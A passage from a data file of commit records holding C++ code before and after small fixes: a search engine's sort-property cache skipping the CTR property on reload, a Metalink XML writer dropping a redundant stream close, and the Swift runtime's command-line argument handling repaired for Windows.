dirty_ = false;\r\n    }\r\n\r\n    SortDataCache::iterator iter = sortDataCache_.find(propertyName);\r\n    if (iter == sortDataCache_.end() || !iter->second)\r\n    {\r\n        LOG(INFO) << \"first load sort data cache on property: \" << propertyName;\r\n        loadSortData(propertyName, propertyType);\r\n    }\r\n\r\n    return sortDataCache_[propertyName];\r\n}\r\n\r\nboost::shared_ptr<NumericPropertyTableBase>& SortPropertyCache::getCTRPropertyData(const std::string& propertyName, PropertyDataType propertyType)\r\n{\r\n    boost::mutex::scoped_lock lock(this->mutex_);\r\n\r\n    boost::shared_ptr<NumericPropertyTableBase>& numericPropertyTable = sortDataCache_[propertyName];\r\n    if (!numericPropertyTable)\r\n        pCTRManager_->loadCtrData(numericPropertyTable);\r\n\r\n    return numericPropertyTable;\r\n}\r\n\r\nSortPropertyComparator* SortPropertyCache::getComparator(\r\n    SortProperty* pSortProperty,\r\n    PropSharedLockSet& propSharedLockSet)\r\n{\r\n    SortProperty::SortPropertyType propSortType = pSortProperty->getType();\r\n    const std::string& propName = pSortProperty->getProperty();\r\n    const PropertyDataType propDataType = pSortProperty->getPropertyDataType();\r\n\r\n    boost::shared_ptr<NumericPropertyTableBase> numericPropertyTable;\r\n    if (propSortType == SortProperty::AUTO)\r\n    {\r\n        numericPropertyTable = getSortPropertyData(propName, propDataType);\r\n    }\r\n    else if (propSortType == SortProperty::CTR)\r\n    {\r\n        if (pCTRManager_)\r\n            numericPropertyTable = getCTRPropertyData(propName, propDataType);\r\n    }\r\n    else\r\n    {\r\n        \/\/ to extend\r\n    }\r\n\r\n    if (numericPropertyTable)\r\n    {\r\n        propSharedLockSet.insertSharedLock(numericPropertyTable.get());\r\n        return new SortPropertyComparator(numericPropertyTable);\r\n    }\r\n\r\n    return NULL;\r\n}\r\n\r\nSorter::Sorter(SortPropertyCache* pCache)\r\n    : pCache_(pCache)\r\n    , ppSortProperties_(0)\r\n    , reverseMul_(0)\r\n{\r\n}\r\n\r\nSorter::~Sorter()\r\n{\r\n    for (std::list<SortProperty*>::iterator iter = sortProperties_.begin();\r\n            iter != sortProperties_.end(); ++iter)\r\n        delete *iter;\r\n    if (ppSortProperties_) delete[] ppSortProperties_;\r\n    if (reverseMul_) delete[] reverseMul_;\r\n}\r\n\r\nvoid Sorter::addSortProperty(const string& property, PropertyDataType propertyType, bool reverse)\r\n{\r\n    SortProperty* pSortProperty = new SortProperty(property, propertyType, reverse);\r\n    sortProperties_.push_back(pSortProperty);\r\n}\r\n\r\nvoid Sorter::addSortProperty(SortProperty* pSortProperty)\r\n{\r\n    sortProperties_.push_back(pSortProperty);\r\n}\r\n\r\nvoid Sorter::getComparators(PropSharedLockSet& propSharedLockSet)\r\n{\r\n    SortProperty* pSortProperty;\r\n    nNumProperties_ = sortProperties_.size();\r\n    ppSortProperties_ = new SortProperty*[nNumProperties_];\r\n    size_t i = 0;\r\n    size_t numOfInValidComparators = 0;\r\n    for (std::list<SortProperty*>::iterator iter = sortProperties_.begin();\r\n            iter != sortProperties_.end(); ++iter, ++i)\r\n    {\r\n        pSortProperty = *iter;\r\n        ppSortProperties_[i] = pSortProperty;\r\n        if (pSortProperty)\r\n        {\r\n            switch (pSortProperty->getType())\r\n            {\r\n            case SortProperty::SCORE:\r\n                pSortProperty->pComparator_= new SortPropertyComparator();\r\n                break;\r\n            case SortProperty::AUTO:\r\n                if (!pSortProperty->pComparator_)\r\n                    pSortProperty->pComparator_ = pCache_->getComparator(pSortProperty,\r\n                                                                         propSharedLockSet);\r\n                if (!pSortProperty->pComparator_)\r\n                    ++numOfInValidComparators;\r\n                break;\r\n            case SortProperty::CUSTOM:\r\n                pSortProperty->pComparator_ = new SortPropertyComparator(CUSTOM_RANKING_PROPERTY_TYPE);\r\n                break;\r\n            case SortProperty::CTR:\r\n                pSortProperty->pComparator_ = pCache_->getComparator(pSortProperty,\r\n                                                                     propSharedLockSet);\r\n                if (!pSortProperty->pComparator_)\r\n                    ++numOfInValidComparators;\r\n                break;\r\n            }\r\n        }\r\n    }\r\n    if (numOfInValidComparators > 0)\r\n    {\r\n        SortProperty** ppSortProperties = NULL;\r\n        if (numOfInValidComparators == nNumProperties_)\r\n        {\r\n            nNumProperties_ = 1;\r\n            ppSortProperties = new SortProperty*[nNumProperties_];\r\n            SortProperty* pSortProperty = new SortProperty(\"RANK\", UNKNOWN_DATA_PROPERTY_TYPE);\r\n            pSortProperty->pComparator_ = new SortPropertyComparator();\r\n            ppSortProperties[0] = pSortProperty;\r\n            sortProperties_.push_back(pSortProperty);\r\n        }\r\n        else\r\n        {\r\n            ppSortProperties = new SortProperty*[nNumProperties_];\r\n            size_t j = 0;\r\n            for (i = 0; i < nNumProperties_; ++i)\r\n            {\r\n                SortProperty* pSortProperty = ppSortProperties_[i];\r\n                if (pSortProperty->pComparator_)\r\n                {\r\n                    ppSortProperties[j++] = pSortProperty;\r\n                }\r\n            }\r\n            nNumProperties_ = j;\r\n        }\r\n        delete [] ppSortProperties_;\r\n        ppSortProperties_ = ppSortProperties;\r\n    }\r\n    reverseMul_ = new int[nNumProperties_];\r\n    for (i = 0; i < nNumProperties_; ++i)\r\n    {\r\n        reverseMul_[i] = ppSortProperties_[i]->isReverse() ? -1 : 1;\r\n    }\r\n}\r\n\r\n}\r\n<commit_msg>_ctr should be neglected in getSortPropertyData, or else:<commit_after>#include \"Sorter.h\"\r\n\r\n#include <document-manager\/DocumentManager.h>\r\n#include <index-manager\/IndexManager.h>\r\n#include <mining-manager\/faceted-submanager\/ctr_manager.h>\r\n#include <bundles\/index\/IndexBundleConfiguration.h>\r\n#include <common\/PropSharedLockSet.h>\r\n\r\nnamespace sf1r\r\n{\r\n\r\nconst char SortPropertyCache::Separator[] = {'-', '~', ','};\r\n\r\nSortProperty::SortProperty(const SortProperty& src)\r\n    : property_(src.property_)\r\n    , propertyDataType_(src.propertyDataType_)\r\n    , type_(src.type_)\r\n    , reverse_(src.reverse_)\r\n    , pComparator_(src.pComparator_)\r\n{\r\n}\r\n\r\nSortProperty::SortProperty(const string& property, PropertyDataType propertyType, bool reverse)\r\n    : property_(property)\r\n    , propertyDataType_(propertyType)\r\n    , type_(AUTO)\r\n    , reverse_(reverse)\r\n    , pComparator_(NULL)\r\n{\r\n}\r\n\r\nSortProperty::SortProperty(const string& property, PropertyDataType propertyType, SortPropertyType type, bool reverse)\r\n    : property_(property)\r\n    , propertyDataType_(propertyType)\r\n    , type_(type)\r\n    , reverse_(reverse)\r\n    , pComparator_(NULL)\r\n{\r\n}\r\nSortProperty::SortProperty(const string& property, PropertyDataType propertyType, SortPropertyComparator* pComparator, bool reverse)\r\n    : property_(property)\r\n    , propertyDataType_(propertyType)\r\n    , type_(CUSTOM)\r\n    , reverse_(reverse)\r\n    , pComparator_(pComparator)\r\n{\r\n}\r\n\r\nSortProperty::SortProperty(const string& property, PropertyDataType propertyType, SortPropertyComparator* pComparator, SortPropertyType type, bool reverse)\r\n    : property_(property)\r\n    , propertyDataType_(propertyType)\r\n    , type_(type)\r\n    , reverse_(reverse)\r\n    , pComparator_(pComparator)\r\n{\r\n}\r\n\r\nSortProperty::~SortProperty()\r\n{\r\n    if (pComparator_)\r\n        delete pComparator_;\r\n}\r\n\r\nSortPropertyCache::SortPropertyCache(DocumentManager* pDocumentManager, IndexManager* pIndexer, IndexBundleConfiguration* config)\r\n    : pDocumentManager_(pDocumentManager)\r\n    , pIndexer_(pIndexer)\r\n    , pCTRManager_(NULL)\r\n    , updateInterval_(config->sortCacheUpdateInterval_)\r\n    , dirty_(true)\r\n    , config_(config)\r\n{\r\n    std::cout << \"SortPropertyCache::updateInterval_ = \" << updateInterval_ << std::endl;\r\n}\r\n\r\nvoid SortPropertyCache::setCtrManager(faceted::CTRManager* pCTRManager)\r\n{\r\n    pCTRManager_ = pCTRManager;\r\n}\r\n\r\nvoid SortPropertyCache::loadSortData(const std::string& property, PropertyDataType type)\r\n{\r\n    boost::shared_ptr<NumericPropertyTableBase>& numericPropertyTable = sortDataCache_[property];\r\n    if (type == STRING_PROPERTY_TYPE)\r\n    {\r\n        std::size_t size = pIndexer_->getIndexReader()->maxDoc();\r\n        if (size)\r\n        {\r\n            pIndexer_->convertStringPropertyDataForSorting(property, numericPropertyTable);\r\n        }\r\n    }\r\n    else\r\n    {\r\n        boost::shared_ptr<NumericPropertyTableBase>& tempTable = pDocumentManager_->getNumericPropertyTable(property);\r\n        if (tempTable)\r\n        {\r\n            numericPropertyTable = tempTable;\r\n        }\r\n        else\r\n        {\r\n            switch (type)\r\n            {\r\n            case INT32_PROPERTY_TYPE:\r\n            case INT8_PROPERTY_TYPE:\r\n            case INT16_PROPERTY_TYPE:\r\n                pIndexer_->loadPropertyDataForSorting<int32_t>(property, type, numericPropertyTable);\r\n                break;\r\n\r\n            case FLOAT_PROPERTY_TYPE:\r\n                pIndexer_->loadPropertyDataForSorting<float>(property, type, numericPropertyTable);\r\n                break;\r\n\r\n            case INT64_PROPERTY_TYPE:\r\n            case DATETIME_PROPERTY_TYPE:\r\n                pIndexer_->loadPropertyDataForSorting<int64_t>(property, type, numericPropertyTable);\r\n                break;\r\n\r\n            case DOUBLE_PROPERTY_TYPE:\r\n                pIndexer_->loadPropertyDataForSorting<double>(property, type, numericPropertyTable);\r\n                break;\r\n\r\n            default:\r\n                break;\r\n            }\r\n        }\r\n    }\r\n}\r\n\r\nboost::shared_ptr<NumericPropertyTableBase>& SortPropertyCache::getSortPropertyData(const std::string& propertyName, PropertyDataType propertyType)\r\n{\r\n    boost::mutex::scoped_lock lock(this->mutex_);\r\n    if (dirty_)\r\n    {\r\n        for (SortDataCache::iterator iter = sortDataCache_.begin();\r\n                iter != sortDataCache_.end(); ++iter)\r\n        {\r\n            LOG(INFO) << \"dirty sort data cache on property: \" << iter->first;\r\n            if (iter->first == faceted::CTRManager::kCtrPropName) continue;\r\n            if (iter->second) loadSortData(iter->first, iter->second->getType());\r\n        }\r\n        dirty_ = false;\r\n    }\r\n\r\n    SortDataCache::iterator iter = sortDataCache_.find(propertyName);\r\n    if (iter == sortDataCache_.end() || !iter->second)\r\n    {\r\n        LOG(INFO) << \"first load sort data cache on property: \" << propertyName;\r\n        loadSortData(propertyName, propertyType);\r\n    }\r\n\r\n    return sortDataCache_[propertyName];\r\n}\r\n\r\nboost::shared_ptr<NumericPropertyTableBase>& SortPropertyCache::getCTRPropertyData(const std::string& propertyName, PropertyDataType propertyType)\r\n{\r\n    boost::mutex::scoped_lock lock(this->mutex_);\r\n\r\n    boost::shared_ptr<NumericPropertyTableBase>& numericPropertyTable = sortDataCache_[propertyName];\r\n    if (!numericPropertyTable)\r\n        pCTRManager_->loadCtrData(numericPropertyTable);\r\n\r\n    return numericPropertyTable;\r\n}\r\n\r\nSortPropertyComparator* SortPropertyCache::getComparator(\r\n    SortProperty* pSortProperty,\r\n    PropSharedLockSet& propSharedLockSet)\r\n{\r\n    SortProperty::SortPropertyType propSortType = pSortProperty->getType();\r\n    const std::string& propName = pSortProperty->getProperty();\r\n    const PropertyDataType propDataType = pSortProperty->getPropertyDataType();\r\n\r\n    boost::shared_ptr<NumericPropertyTableBase> numericPropertyTable;\r\n    if (propSortType == SortProperty::AUTO)\r\n    {\r\n        numericPropertyTable = getSortPropertyData(propName, propDataType);\r\n    }\r\n    else if (propSortType == SortProperty::CTR)\r\n    {\r\n        if (pCTRManager_)\r\n            numericPropertyTable = getCTRPropertyData(propName, propDataType);\r\n    }\r\n    else\r\n    {\r\n        \/\/ to extend\r\n    }\r\n\r\n    if (numericPropertyTable)\r\n    {\r\n        propSharedLockSet.insertSharedLock(numericPropertyTable.get());\r\n        return new SortPropertyComparator(numericPropertyTable);\r\n    }\r\n\r\n    return NULL;\r\n}\r\n\r\nSorter::Sorter(SortPropertyCache* pCache)\r\n    : pCache_(pCache)\r\n    , ppSortProperties_(0)\r\n    , reverseMul_(0)\r\n{\r\n}\r\n\r\nSorter::~Sorter()\r\n{\r\n    for (std::list<SortProperty*>::iterator iter = sortProperties_.begin();\r\n            iter != sortProperties_.end(); ++iter)\r\n        delete *iter;\r\n    if (ppSortProperties_) delete[] ppSortProperties_;\r\n    if (reverseMul_) delete[] reverseMul_;\r\n}\r\n\r\nvoid Sorter::addSortProperty(const string& property, PropertyDataType propertyType, bool reverse)\r\n{\r\n    SortProperty* pSortProperty = new SortProperty(property, propertyType, reverse);\r\n    sortProperties_.push_back(pSortProperty);\r\n}\r\n\r\nvoid Sorter::addSortProperty(SortProperty* pSortProperty)\r\n{\r\n    sortProperties_.push_back(pSortProperty);\r\n}\r\n\r\nvoid Sorter::getComparators(PropSharedLockSet& propSharedLockSet)\r\n{\r\n    SortProperty* pSortProperty;\r\n    nNumProperties_ = sortProperties_.size();\r\n    ppSortProperties_ = new SortProperty*[nNumProperties_];\r\n    size_t i = 0;\r\n    size_t numOfInValidComparators = 0;\r\n    for (std::list<SortProperty*>::iterator iter = sortProperties_.begin();\r\n            iter != sortProperties_.end(); ++iter, ++i)\r\n    {\r\n        pSortProperty = *iter;\r\n        ppSortProperties_[i] = pSortProperty;\r\n        if (pSortProperty)\r\n        {\r\n            switch (pSortProperty->getType())\r\n            {\r\n            case SortProperty::SCORE:\r\n                pSortProperty->pComparator_= new SortPropertyComparator();\r\n                break;\r\n            case SortProperty::AUTO:\r\n                if (!pSortProperty->pComparator_)\r\n                    pSortProperty->pComparator_ = pCache_->getComparator(pSortProperty,\r\n                                                                         propSharedLockSet);\r\n                if (!pSortProperty->pComparator_)\r\n                    ++numOfInValidComparators;\r\n                break;\r\n            case SortProperty::CUSTOM:\r\n                pSortProperty->pComparator_ = new SortPropertyComparator(CUSTOM_RANKING_PROPERTY_TYPE);\r\n                break;\r\n            case SortProperty::CTR:\r\n                pSortProperty->pComparator_ = pCache_->getComparator(pSortProperty,\r\n                                                                     propSharedLockSet);\r\n                if (!pSortProperty->pComparator_)\r\n                    ++numOfInValidComparators;\r\n                break;\r\n            }\r\n        }\r\n    }\r\n    if (numOfInValidComparators > 0)\r\n    {\r\n        SortProperty** ppSortProperties = NULL;\r\n        if (numOfInValidComparators == nNumProperties_)\r\n        {\r\n            nNumProperties_ = 1;\r\n            ppSortProperties = new SortProperty*[nNumProperties_];\r\n            SortProperty* pSortProperty = new SortProperty(\"RANK\", UNKNOWN_DATA_PROPERTY_TYPE);\r\n            pSortProperty->pComparator_ = new SortPropertyComparator();\r\n            ppSortProperties[0] = pSortProperty;\r\n            sortProperties_.push_back(pSortProperty);\r\n        }\r\n        else\r\n        {\r\n            ppSortProperties = new SortProperty*[nNumProperties_];\r\n            size_t j = 0;\r\n            for (i = 0; i < nNumProperties_; ++i)\r\n            {\r\n                SortProperty* pSortProperty = ppSortProperties_[i];\r\n                if (pSortProperty->pComparator_)\r\n                {\r\n                    ppSortProperties[j++] = pSortProperty;\r\n                }\r\n            }\r\n            nNumProperties_ = j;\r\n        }\r\n        delete [] ppSortProperties_;\r\n        ppSortProperties_ = ppSortProperties;\r\n    }\r\n    reverseMul_ = new int[nNumProperties_];\r\n    for (i = 0; i < nNumProperties_; ++i)\r\n    {\r\n        reverseMul_[i] = ppSortProperties_[i]->isReverse() ? -1 : 1;\r\n    }\r\n}\r\n\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include \"Metalink4Writer.hpp\"\n\nMetalink4Writer::Metalink4Writer(MetalinkEditor& editor)\n    : editor_(editor)\n{\n}\n\nMetalink4Writer::~Metalink4Writer()\n{\n    if(out_.is_open()) out_.close();\n}\n\nvoid Metalink4Writer::save(const wxString& filename)\n{\n    using std::ofstream;\n    out_.open(filename.mb_str(wxConvFile),\n              ofstream::out | ofstream::binary | ofstream::trunc);\n    indent_ = 0;\n    write(wxT(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"));\n    write(wxT(\"<metalink xmlns=\\\"urn:ietf:params:xml:ns:metalink\\\">\\n\"));\n    indent_++;\n    const std::vector<MetalinkFile>& files = editor_.get_files();\n    for(std::vector<MetalinkFile>::const_iterator i = files.begin(),\n            eoi = files.end(); i != eoi; ++i) {\n        write(*i);\n    }\n    indent_--;\n    write(wxT(\"<\/metalink>\\n\"));\n}\n\nvoid Metalink4Writer::write(const MetalinkFile& file)\n{\n    start(wxT(\"file\"));\n    addattr(wxT(\"name\"), file.get_filename());\n    close_start();\n    const std::vector<MetalinkSource>& sources = file.get_sources();\n    for(std::vector<MetalinkSource>::const_iterator i = sources.begin(),\n            eoi = sources.end(); i != eoi; ++i) {\n        write(*i);\n    }\n    end(wxT(\"file\"));\n}\n\nvoid Metalink4Writer::write(const MetalinkSource& source)\n{\n    start(wxT(\"url\"));\n    if(!source.get_location().empty()) {\n        addattr(wxT(\"location\"), source.get_location());\n    }\n    if(!source.get_prioritystr().empty()) {\n        addattr(wxT(\"priority\"), source.get_prioritystr());\n    }\n    end(wxT(\"url\"), source.get_uri());\n}\n\nvoid Metalink4Writer::write(const wxString& data, bool indent)\n{\n    if(indent) {\n        for(int i = 0; i < indent_; i++) {\n            out_ << \"    \";\n        }\n    }\n    out_ << data.mb_str(wxConvUTF8);\n}\n\nvoid Metalink4Writer::start(const wxString& element)\n{\n    write(wxT(\"<\"));\n    write(element, false);\n}\n\nvoid Metalink4Writer::close_start()\n{\n    write(wxT(\">\\n\"), false);\n    indent_++;\n}\n\nnamespace {\n\/\/ Escapes characters not allowed in XML documents and returns new\n\/\/ escaped string.\nwxString xml_escape(const wxString& src)\n{\n    wxString dest;\n    for(wxString::const_iterator i = src.begin(), eoi = src.end();\n            i != eoi; ++i) {\n        const wxChar ch = *i;\n        if(ch == wxT('<')) {\n            dest += wxT(\"&lt;\");\n        } else if(ch == wxT('>')) {\n            dest += wxT(\"&gt;\");\n        } else if(ch == wxT('&')) {\n            dest += wxT(\"&amp;\");\n        } else if(ch == wxT('\\'')) {\n            dest += wxT(\"&#39;\");\n        } else if(ch == wxT('\"')) {\n            dest += wxT(\"&quot;\");\n        } else {\n            dest += ch;\n        }\n    }\n    return dest;\n}\n}\n\nvoid Metalink4Writer::end(const wxString& element, const wxString& value)\n{\n    write(wxT(\">\"), false);\n    write(xml_escape(value), false);\n    write(wxT(\"<\/\"), false);\n    write(element, false);\n    write(wxT(\">\\n\"), false);\n}\n\nvoid Metalink4Writer::end(const wxString& element)\n{\n    indent_--;\n    write(wxT(\"<\/\"));\n    write(element, false);\n    write(wxT(\">\\n\"), false);\n}\n\nvoid Metalink4Writer::addattr(const wxString& name, const wxString& value)\n{\n    write(wxT(\" \"), false);\n    write(name, false);\n    write(wxT(\"=\\\"\"), false);\n    write(xml_escape(value), false);\n    write(wxT(\"\\\"\"), false);\n}\n<commit_msg>Closing stream is handled in std::ofstream dtor.<commit_after>#include \"Metalink4Writer.hpp\"\n\nMetalink4Writer::Metalink4Writer(MetalinkEditor& editor)\n    : editor_(editor)\n{\n}\n\nMetalink4Writer::~Metalink4Writer()\n{\n}\n\nvoid Metalink4Writer::save(const wxString& filename)\n{\n    using std::ofstream;\n    out_.open(filename.mb_str(wxConvFile),\n              ofstream::out | ofstream::binary | ofstream::trunc);\n    indent_ = 0;\n    write(wxT(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\"));\n    write(wxT(\"<metalink xmlns=\\\"urn:ietf:params:xml:ns:metalink\\\">\\n\"));\n    indent_++;\n    const std::vector<MetalinkFile>& files = editor_.get_files();\n    for(std::vector<MetalinkFile>::const_iterator i = files.begin(),\n            eoi = files.end(); i != eoi; ++i) {\n        write(*i);\n    }\n    indent_--;\n    write(wxT(\"<\/metalink>\\n\"));\n}\n\nvoid Metalink4Writer::write(const MetalinkFile& file)\n{\n    start(wxT(\"file\"));\n    addattr(wxT(\"name\"), file.get_filename());\n    close_start();\n    const std::vector<MetalinkSource>& sources = file.get_sources();\n    for(std::vector<MetalinkSource>::const_iterator i = sources.begin(),\n            eoi = sources.end(); i != eoi; ++i) {\n        write(*i);\n    }\n    end(wxT(\"file\"));\n}\n\nvoid Metalink4Writer::write(const MetalinkSource& source)\n{\n    start(wxT(\"url\"));\n    if(!source.get_location().empty()) {\n        addattr(wxT(\"location\"), source.get_location());\n    }\n    if(!source.get_prioritystr().empty()) {\n        addattr(wxT(\"priority\"), source.get_prioritystr());\n    }\n    end(wxT(\"url\"), source.get_uri());\n}\n\nvoid Metalink4Writer::write(const wxString& data, bool indent)\n{\n    if(indent) {\n        for(int i = 0; i < indent_; i++) {\n            out_ << \"    \";\n        }\n    }\n    out_ << data.mb_str(wxConvUTF8);\n}\n\nvoid Metalink4Writer::start(const wxString& element)\n{\n    write(wxT(\"<\"));\n    write(element, false);\n}\n\nvoid Metalink4Writer::close_start()\n{\n    write(wxT(\">\\n\"), false);\n    indent_++;\n}\n\nnamespace {\n\/\/ Escapes characters not allowed in XML documents and returns new\n\/\/ escaped string.\nwxString xml_escape(const wxString& src)\n{\n    wxString dest;\n    for(wxString::const_iterator i = src.begin(), eoi = src.end();\n            i != eoi; ++i) {\n        const wxChar ch = *i;\n        if(ch == wxT('<')) {\n            dest += wxT(\"&lt;\");\n        } else if(ch == wxT('>')) {\n            dest += wxT(\"&gt;\");\n        } else if(ch == wxT('&')) {\n            dest += wxT(\"&amp;\");\n        } else if(ch == wxT('\\'')) {\n            dest += wxT(\"&#39;\");\n        } else if(ch == wxT('\"')) {\n            dest += wxT(\"&quot;\");\n        } else {\n            dest += ch;\n        }\n    }\n    return dest;\n}\n}\n\nvoid Metalink4Writer::end(const wxString& element, const wxString& value)\n{\n    write(wxT(\">\"), false);\n    write(xml_escape(value), false);\n    write(wxT(\"<\/\"), false);\n    write(element, false);\n    write(wxT(\">\\n\"), false);\n}\n\nvoid Metalink4Writer::end(const wxString& element)\n{\n    indent_--;\n    write(wxT(\"<\/\"));\n    write(element, false);\n    write(wxT(\">\\n\"), false);\n}\n\nvoid Metalink4Writer::addattr(const wxString& name, const wxString& value)\n{\n    write(wxT(\" \"), false);\n    write(name, false);\n    write(wxT(\"=\\\"\"), false);\n    write(xml_escape(value), false);\n    write(wxT(\"\\\"\"), false);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===--- CommandLine.cpp - OS-specific command line arguments -------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ OS-specific command line argument handling is defined here.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include <vector>\n#include <string>\n#include <cassert>\n#include <climits>\n#include <cstdarg>\n#include <cstdint>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n\n#include \"swift\/Runtime\/Debug.h\"\n\n#include \"..\/SwiftShims\/RuntimeStubs.h\"\n#include \"..\/SwiftShims\/GlobalObjects.h\"\n\n\/\/ Backing storage for overrides of `Swift.Process.arguments`.\nstatic char **_swift_stdlib_ProcessOverrideUnsafeArgv = nullptr;\nstatic int _swift_stdlib_ProcessOverrideUnsafeArgc = 0;\n\nSWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERFACE\nextern \"C\" void _swift_stdlib_overrideUnsafeArgvArgc(char **argv, int argc) {\n  _swift_stdlib_ProcessOverrideUnsafeArgv = argv;\n  _swift_stdlib_ProcessOverrideUnsafeArgc = argc;\n}\n\n#if defined(__APPLE__)\n\/\/ NOTE: forward declare this rather than including crt_externs.h as not all\n\/\/ SDKs provide it\nextern \"C\" char ***_NSGetArgv(void);\nextern \"C\" int *_NSGetArgc(void);\n\nSWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERFACE\nextern \"C\" char ** _swift_stdlib_getUnsafeArgvArgc(int *outArgLen) {\n  assert(outArgLen != nullptr);\n\n  if (_swift_stdlib_ProcessOverrideUnsafeArgv) {\n    *outArgLen = _swift_stdlib_ProcessOverrideUnsafeArgc;\n    return _swift_stdlib_ProcessOverrideUnsafeArgv;\n  }\n\n  *outArgLen = *_NSGetArgc();\n  return *_NSGetArgv();\n}\n#elif defined(__linux__) || defined(__CYGWIN__) || defined(__FreeBSD__)\nSWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERFACE\nextern \"C\" char ** _swift_stdlib_getUnsafeArgvArgc(int *outArgLen) {\n  assert(outArgLen != nullptr);\n\n  if (_swift_stdlib_ProcessOverrideUnsafeArgv) {\n    *outArgLen = _swift_stdlib_ProcessOverrideUnsafeArgc;\n    return _swift_stdlib_ProcessOverrideUnsafeArgv;\n  }\n\n  FILE *cmdline = fopen(\"\/proc\/self\/cmdline\", \"rb\");\n  if (!cmdline) {\n    swift::fatalError(0,\n            \"fatal error: Unable to open interface to '\/proc\/self\/cmdline'.\\n\");\n  }\n  char *arg = nullptr;\n  size_t size = 0;\n  std::vector<char *> argvec;\n  while (getdelim(&arg, &size, 0, cmdline) != -1) {\n    argvec.push_back(strdup(arg));\n  }\n  if (arg) {\n    free(arg);\n  }\n  fclose(cmdline);\n  *outArgLen = argvec.size();\n  char **outBuf = (char **)calloc(argvec.size() + 1, sizeof(char *));\n  std::copy(argvec.begin(), argvec.end(), outBuf);\n  outBuf[argvec.size()] = nullptr;\n\n  return outBuf;\n}\n#elif defined (_MSC_VER)\nextern int *__argc;\nextern char **__argv;\n\nSWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERFACE\nextern \"C\" char ** _swift_stdlib_getUnsafeArgvArgc(int *outArgLen) {\n  assert(outArgLen != nullptr);\n\n  if (_swift_stdlib_ProcessOverrideUnsafeArgv) {\n    *outArgLen = _swift_stdlib_ProcessOverrideUnsafeArgc;\n    return _swift_stdlib_ProcessOverrideUnsafeArgv;\n  }\n\n  *outArgLen = __argc;\n  return __argv;\n}\n#else \/\/ __ANDROID__; Add your favorite arch's command line arg grabber here.\nSWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERFACE\nextern \"C\" char ** _swift_stdlib_getUnsafeArgvArgc(int *outArgLen) {\n  if (_swift_stdlib_ProcessOverrideUnsafeArgv) {\n    *outArgLen = _swift_stdlib_ProcessOverrideUnsafeArgc;\n    return _swift_stdlib_ProcessOverrideUnsafeArgv;\n  }\n  \n  swift::fatalError(0,\n      \"fatal error: Command line arguments not supported on this platform.\\n\");\n}\n#endif\n\n<commit_msg>stdlib: repair windows build<commit_after>\/\/===--- CommandLine.cpp - OS-specific command line arguments -------------===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2016 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ OS-specific command line argument handling is defined here.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include <vector>\n#include <string>\n#include <cassert>\n#include <climits>\n#include <cstdarg>\n#include <cstdint>\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n\n#include \"swift\/Runtime\/Debug.h\"\n\n#include \"..\/SwiftShims\/RuntimeStubs.h\"\n#include \"..\/SwiftShims\/GlobalObjects.h\"\n\n\/\/ Backing storage for overrides of `Swift.Process.arguments`.\nstatic char **_swift_stdlib_ProcessOverrideUnsafeArgv = nullptr;\nstatic int _swift_stdlib_ProcessOverrideUnsafeArgc = 0;\n\nSWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERFACE\nextern \"C\" void _swift_stdlib_overrideUnsafeArgvArgc(char **argv, int argc) {\n  _swift_stdlib_ProcessOverrideUnsafeArgv = argv;\n  _swift_stdlib_ProcessOverrideUnsafeArgc = argc;\n}\n\n#if defined(__APPLE__)\n\/\/ NOTE: forward declare this rather than including crt_externs.h as not all\n\/\/ SDKs provide it\nextern \"C\" char ***_NSGetArgv(void);\nextern \"C\" int *_NSGetArgc(void);\n\nSWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERFACE\nextern \"C\" char ** _swift_stdlib_getUnsafeArgvArgc(int *outArgLen) {\n  assert(outArgLen != nullptr);\n\n  if (_swift_stdlib_ProcessOverrideUnsafeArgv) {\n    *outArgLen = _swift_stdlib_ProcessOverrideUnsafeArgc;\n    return _swift_stdlib_ProcessOverrideUnsafeArgv;\n  }\n\n  *outArgLen = *_NSGetArgc();\n  return *_NSGetArgv();\n}\n#elif defined(__linux__) || defined(__CYGWIN__) || defined(__FreeBSD__)\nSWIFT_CC(swift) SWIFT_RUNTIME_STDLIB_INTERFACE\nextern \"C\" char ** _swift_stdlib_getUnsafeArgvArgc(int *outArgLen) {\n  assert(outArgLen != nullptr);\n\n  if (_swift_stdlib_ProcessOverrideUnsafeArgv) {\n    *outArgLen = _swift_stdlib_ProcessOverrideUnsafeArgc;\n    return _swift_stdlib_ProcessOverrideUnsafeArgv;\n  }\n\n  FILE *cmdline = fopen(\"\/proc\/self\/cmdline\", \"rb\");\n  if (!cmdline) {\n    swift::fatalError(0,\n            \"fatal error: Unable to open interface to '\/proc\/self\/cmdline'.\\n\");\n  }\n  char *arg = nullptr;\n  size_t size = 0;\n  std::vector<char *> argvec;\n  while (getdelim(&arg, &size, 0, cmdline) != -1) {\n    argvec.push_back(strdup(arg));\n  }\n  if (arg) {\n    free(arg);\n  }\n  fclose(cmdline);\n  *outArgLen = argvec.size();\n  char **outBuf = (char **)calloc(argvec.size() + 1, 